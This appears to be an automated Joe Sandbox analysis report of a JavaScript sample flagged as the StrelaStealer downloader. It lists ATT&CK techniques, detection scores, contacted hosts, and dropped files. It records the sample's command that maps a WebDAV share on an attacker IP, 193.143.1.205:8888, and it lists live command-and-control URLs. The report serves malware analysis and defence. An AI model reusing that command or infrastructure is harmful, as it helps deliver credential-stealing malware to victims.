Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
3097128047142338539.js	8%	Virustotal		Browse
3097128047142338539.js	8%	ReversingLabs	Script-JS.Trojan.StrelaStealer

Source	Detection	Scanner	Label	Link
http://193.143.1.205:8888/spacer	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
bg.microsoft.map.fastly.net	199.232.210.172	true	false		high
x1.i.lencr.org	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://g.live.com/odclientsettings/Prod/C:	edb.log.9.dr, qmgr.db.9.dr	false		high
http://crl.ver)	svchost.exe, 00000009.00000002.2704240204.0000020A27400000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.8.dr	false		high
https://g.live.com/odclientsettings/ProdV2/C:	svchost.exe, 00000009.00000003.1507576701.0000020A272F0000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	false		high
http://193.143.1.205:8888/spacer	net.exe, 00000007.00000002.1503585580.0000026E81668000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/	net.exe, 00000007.00000002.1503585580.0000026E816A9000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1503585580.0000026E81668000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1503585580.0000026E816BD000.00000004.00000020.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1588548
Start date and time:	2025-01-11 02:16:14 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 1s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	19
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	3097128047142338539.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@27/55@1/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 2.23.240.205, 162.159.61.3, 172.64.41.3, 2.23.242.162, 23.209.209.135, 199.232.210.172, 2.16.168.107, 2.16.168.105, 184.28.90.27, 52.149.20.212, 50.16.47.176, 23.206.229.226, 23.56.162.204, 4.245.163.56
Excluded domains from analysis (whitelisted): www.bing.com, e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, fs.microsoft.com, e8652.dscx.akamaiedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com.delivery.microsoft.com, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, p13n.adobe.io, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, fe3cr.delivery.mp.microsoft.com, ocsp.digicert.com, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, geo2.adobe.com, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
20:17:15	API Interceptor	21x Sleep call for process: powershell.exe modified
20:17:18	API Interceptor	1x Sleep call for process: net.exe modified
20:17:19	API Interceptor	2x Sleep call for process: svchost.exe modified
20:17:26	API Interceptor	3x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	142628891044814616.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	152068002360415087.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	15108208223119820474.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	4702309321830413443.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	11248212732259326130.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1907125702104121563.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	9748121671124198.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	193581927228935729.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	253742123626823892.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2254619394221055585.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
bg.microsoft.map.fastly.net	142628891044814616.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	152068002360415087.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	15108208223119820474.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	4702309321830413443.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	11248212732259326130.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	1907125702104121563.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	9748121671124198.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	253742123626823892.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	2254619394221055585.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	6515707756641447.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	142628891044814616.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	152068002360415087.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	15108208223119820474.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	4702309321830413443.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	11248212732259326130.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1907125702104121563.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	9748121671124198.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	795324045931728678.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2314572873239327086.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	3048426634198639173.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.8021942592550938
Encrypted:	false
SSDEEP:	1536:RJszRK0I9i0k0I9wXq0I9UGJC/PQJCmJCovVsnQ9Sii1GY9zOoRXTpMNYpKhvUAH:RJE+Lfki1GjHwU/+vVhWqpy
MD5:	1590B884FA299AEB7021DDDF8CFB8D5F
SHA1:	D86CE74FC6606A2792FA95FA165AC6561A87C955
SHA-256:	23F751FF84FA9A49E4299B5E0684B5AC6E065BADE2D80EEAC4FEC8E8DBA245B5
SHA-512:	BC4497FD15AF68949272CB038F377ED17D6D7DCD05EDE2C4DBD3D2684A8198BDB8B2043E482AAC21F8FFC783DBDA38522F6E732D0BEDC4E72579873532835611
Malicious:	false
Preview:	..Q^........@..@.....{...;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@.....................................3~L.#.........`h.................h.......1.......X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0x2c017fe9, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1048576
Entropy (8bit):	0.9432859205136803
Encrypted:	false
SSDEEP:	1536:zSB2ESB2SSjlK/ZvxPXK0I9XGJCTgzZYkr3g16zV2UPkLk+kY+lKuy9ny5zPOZ15:zazaHvxXy2V2UR
MD5:	6A3B554A572ADFA1862D94BB5FB84526
SHA1:	668AAE505697C9DA5893A7BA7F17AB409BEDE8EA
SHA-256:	B2A9386A0C13C901F8E0AE312B9FE3D81537DE5E3821CDBDFF6A8BFF7F3C0BC2
SHA-512:	24F0EE9BAB1E92B5A854673C4CF07EFA6BB8CF56F3D7EF0EE3688D093BF52F67CA5DA4E30D09903E1EF376E59D350E393C6CEFFCE678BF5DDA149032256B884C
Malicious:	false
Preview:	,...... ...............X\...;...{......................0.x...... ...{s......}..h.z.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ............{...............................................................................................................................................................................................2...{.....................................B.....}................../.'......}...........................#......h.z.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	OpenPGP Public Key
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.08136950403195777
Encrypted:	false
SSDEEP:	3:pYeBsQtnXlsl/nqlFcl1ZUllllbnl2tltAllGBnX/l/Tj/k7/t:pzBHXlsl/qlFclQ/lJMXA254
MD5:	499CFD2B7199ACBB063554562CAA0BEF
SHA1:	113CC9E1618D500784A2FE172B2ACCFCCAA967E9
SHA-256:	E16D4768285F3B122A7F117013E0A40B6BA06722B9EC76D0E47290394232B624
SHA-512:	360AC1E89B6F4D8ABEA5778330C024F724B04EE3FFD3AC00C8CF91FD00401A91AB11BD6359AC5970FF82CF224EE9B77373924BA1DB79093D0EC60BD4DDB5D0E4
Malicious:	false
Preview:	.AE......................................;...{.......}... ...{s.......... ...{s.. ...{s.P.... ...{s................./.'......}..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.125499863703217
Encrypted:	false
SSDEEP:	6:iO4qVDFiDBM+q2PCHhJ2nKuAl9OmbnIFUtSqVDFiHZZmwsqVDFiHMMVkwOCHhJ2C:7nDQD6+vBHAahFUtZDQHZ/LDQHNV56Hi
MD5:	AC6B57EC3829CCB5C6FF5C95CD3B8E60
SHA1:	3914A3AB18F6E746B2822F4A5DDD4BAA0582F591
SHA-256:	44FCB69E588886FD82162FCFDECDFA3B79C910E9E57CAD73AC0DB7531355249C
SHA-512:	F8583FE457B3E68162FFE79B7A7F4EB9F58DB9D484241421C59B98AD56D9DFF826BB44C4CCD45D72E8541CF3729218B7EA48E159573B764ACF7081C97783C240
Malicious:	false
Preview:	2025/01/10-20:17:19.326 101c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-20:17:19.330 101c Recovering log #3.2025/01/10-20:17:19.330 101c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.125499863703217
Encrypted:	false
SSDEEP:	6:iO4qVDFiDBM+q2PCHhJ2nKuAl9OmbnIFUtSqVDFiHZZmwsqVDFiHMMVkwOCHhJ2C:7nDQD6+vBHAahFUtZDQHZ/LDQHNV56Hi
MD5:	AC6B57EC3829CCB5C6FF5C95CD3B8E60
SHA1:	3914A3AB18F6E746B2822F4A5DDD4BAA0582F591
SHA-256:	44FCB69E588886FD82162FCFDECDFA3B79C910E9E57CAD73AC0DB7531355249C
SHA-512:	F8583FE457B3E68162FFE79B7A7F4EB9F58DB9D484241421C59B98AD56D9DFF826BB44C4CCD45D72E8541CF3729218B7EA48E159573B764ACF7081C97783C240
Malicious:	false
Preview:	2025/01/10-20:17:19.326 101c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-20:17:19.330 101c Recovering log #3.2025/01/10-20:17:19.330 101c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	338
Entropy (8bit):	5.183629827371463
Encrypted:	false
SSDEEP:	6:iO4qVDFkZuQQ+q2PCHhJ2nKuAl9Ombzo2jMGIFUtSqVDFk/YkgZmwsqVDFklVQVH:7nDevBHAa8uFUtZDgYN/LDR56HAa8RJ
MD5:	CA623C59D4908B2D6EE842E187EC1FA1
SHA1:	768B0FBFC7970AB09737BCE41F030B7C8CEAE5D2
SHA-256:	643B91135D863E68D2426F0A11C8E1CC3BB1D867C46DB68787F294DDD7A5DB26
SHA-512:	89004FEFEB68FC2F6850C1840DE8A653E54B7490D8FBC61408C56471DB070DCE1FEFD3D260B4C59586CDD770FE037BD9EC92D1D4BC3475ADAF49E63D39E61FCE
Malicious:	false
Preview:	2025/01/10-20:17:19.553 1df8 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-20:17:19.555 1df8 Recovering log #3.2025/01/10-20:17:19.557 1df8 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	338
Entropy (8bit):	5.183629827371463
Encrypted:	false
SSDEEP:	6:iO4qVDFkZuQQ+q2PCHhJ2nKuAl9Ombzo2jMGIFUtSqVDFk/YkgZmwsqVDFklVQVH:7nDevBHAa8uFUtZDgYN/LDR56HAa8RJ
MD5:	CA623C59D4908B2D6EE842E187EC1FA1
SHA1:	768B0FBFC7970AB09737BCE41F030B7C8CEAE5D2
SHA-256:	643B91135D863E68D2426F0A11C8E1CC3BB1D867C46DB68787F294DDD7A5DB26
SHA-512:	89004FEFEB68FC2F6850C1840DE8A653E54B7490D8FBC61408C56471DB070DCE1FEFD3D260B4C59586CDD770FE037BD9EC92D1D4BC3475ADAF49E63D39E61FCE
Malicious:	false
Preview:	2025/01/10-20:17:19.553 1df8 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-20:17:19.555 1df8 Recovering log #3.2025/01/10-20:17:19.557 1df8 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.969340035861989
Encrypted:	false
SSDEEP:	12:YH/um3RA8squSsBdOg2Hhfcaq3QYiub6P7E4T3y:Y2sRdsRXdMHhu3QYhbS7nby
MD5:	0D3DA9B13A785DBAB60DB95CF2DDD6AD
SHA1:	E9AD87ACA93E8AC281CB22DC6B3165A06042E468
SHA-256:	BB6CD2DB454F6B7FE40669C734231B10C806A730B5173B6A8C247E98F2CA0F9A
SHA-512:	DE901FE358386D2DEB7A0EFF8154C756A3156ECE134226F06A6CC5EFFA8A02D0C9B3AF0D29EC8F2CC4D8A9F9380E5916D783FDC285258930E9854B32CF6C248E
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381118250540612","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":150793},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.8","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\ad298c1e-964b-4fa8-8757-ff2b69ed4e58.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	475
Entropy (8bit):	4.969340035861989
Encrypted:	false
SSDEEP:	12:YH/um3RA8squSsBdOg2Hhfcaq3QYiub6P7E4T3y:Y2sRdsRXdMHhu3QYhbS7nby
MD5:	0D3DA9B13A785DBAB60DB95CF2DDD6AD
SHA1:	E9AD87ACA93E8AC281CB22DC6B3165A06042E468
SHA-256:	BB6CD2DB454F6B7FE40669C734231B10C806A730B5173B6A8C247E98F2CA0F9A
SHA-512:	DE901FE358386D2DEB7A0EFF8154C756A3156ECE134226F06A6CC5EFFA8A02D0C9B3AF0D29EC8F2CC4D8A9F9380E5916D783FDC285258930E9854B32CF6C248E
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381118250540612","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":150793},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.8","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	3878
Entropy (8bit):	5.235916035170809
Encrypted:	false
SSDEEP:	96:S4bz5vsZ4CzSAsfTxiVud4TxY0CIOr3MCWO3VxBaw+b7o1Axmp:S43C4mS7fFi0KFYDjr3LWO3V3aw+b7oN
MD5:	7CBC7CF6C1AC04AA7A49A1E33237A6F2
SHA1:	6756AC7E7C23E4C9F8FBEAE7566DED1183D34938
SHA-256:	61BFC9B3FA3241472FBB17C1370C8CE55B13FDD8869729635F9E8445E194DC00
SHA-512:	78D125A50B2F2A062C36730C49329096AAAA4A9D153C7A256D6FECCF58CF7D5A6C753A68FB6E70F1913C1D3721554A29D440D5F5B182FED38FA655CA1D84955B
Malicious:	false
Preview:	*...#................version.1..namespace-8..\|o................next-map-id.1.Pnamespace-656dc224_0825_4dad_892f_a4fe9098071c-https://rna-resource.acrobat.com/.0...dr................next-map-id.2.Snamespace-ef12e1ab_9f14_41d7_aae3_3f05adf09ebc-https://rna-v2-resource.acrobat.com/.1....r................next-map-id.3.Snamespace-07eb38e9_046b_46c4_bd67_b1578df56145-https://rna-v2-resource.acrobat.com/.2.$..o................next-map-id.4.Pnamespace-f0c0a73c_e89b_42d5_bb63_4f8a3b04cf3a-https://rna-resource.acrobat.com/.3+...^...............Pnamespace-656dc224_0825_4dad_892f_a4fe9098071c-https://rna-resource.acrobat.com/....^...............Pnamespace-f0c0a73c_e89b_42d5_bb63_4f8a3b04cf3a-https://rna-resource.acrobat.com/T.3.a...............Snamespace-ef12e1ab_9f14_41d7_aae3_3f05adf09ebc-https://rna-v2-resource.acrobat.com/.U..a...............Snamespace-07eb38e9_046b_46c4_bd67_b1578df56145-https://rna-v2-resource.acrobat.com/.$..o................next-map-id.5.Pnamespace-c66013b9_73b6_4b3f_b279_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	326
Entropy (8bit):	5.185173444779884
Encrypted:	false
SSDEEP:	6:iO4qVDFVvYBSQ+q2PCHhJ2nKuAl9OmbzNMxIFUtSqVDFVQgZmwsqVDFVVVQVkwOd:7nD/vSOvBHAa8jFUtZD/5/LD/A56HAab
MD5:	7152199B39365E42F421229D970CC193
SHA1:	A45BA084B61E0C4DA3A65EE10E8843C82162AA12
SHA-256:	D9D394F073E2B14BBAA0A14CC47FBFF90B3FD815BAE4F0E50816280FC5AA3408
SHA-512:	37CC9017EC3531EBDD901163282CC5D1CAA863EDB2450BCCA1638EC10513964EC568E8D70C0E712939CF1DEC6B60259E8FC3DF2DC1CB3D1CA6F25D1BC03A94E0
Malicious:	false
Preview:	2025/01/10-20:17:19.600 1df8 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-20:17:19.601 1df8 Recovering log #3.2025/01/10-20:17:19.602 1df8 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	326
Entropy (8bit):	5.185173444779884
Encrypted:	false
SSDEEP:	6:iO4qVDFVvYBSQ+q2PCHhJ2nKuAl9OmbzNMxIFUtSqVDFVQgZmwsqVDFVVVQVkwOd:7nD/vSOvBHAa8jFUtZD/5/LD/A56HAab
MD5:	7152199B39365E42F421229D970CC193
SHA1:	A45BA084B61E0C4DA3A65EE10E8843C82162AA12
SHA-256:	D9D394F073E2B14BBAA0A14CC47FBFF90B3FD815BAE4F0E50816280FC5AA3408
SHA-512:	37CC9017EC3531EBDD901163282CC5D1CAA863EDB2450BCCA1638EC10513964EC568E8D70C0E712939CF1DEC6B60259E8FC3DF2DC1CB3D1CA6F25D1BC03A94E0
Malicious:	false
Preview:	2025/01/10-20:17:19.600 1df8 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-20:17:19.601 1df8 Recovering log #3.2025/01/10-20:17:19.602 1df8 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
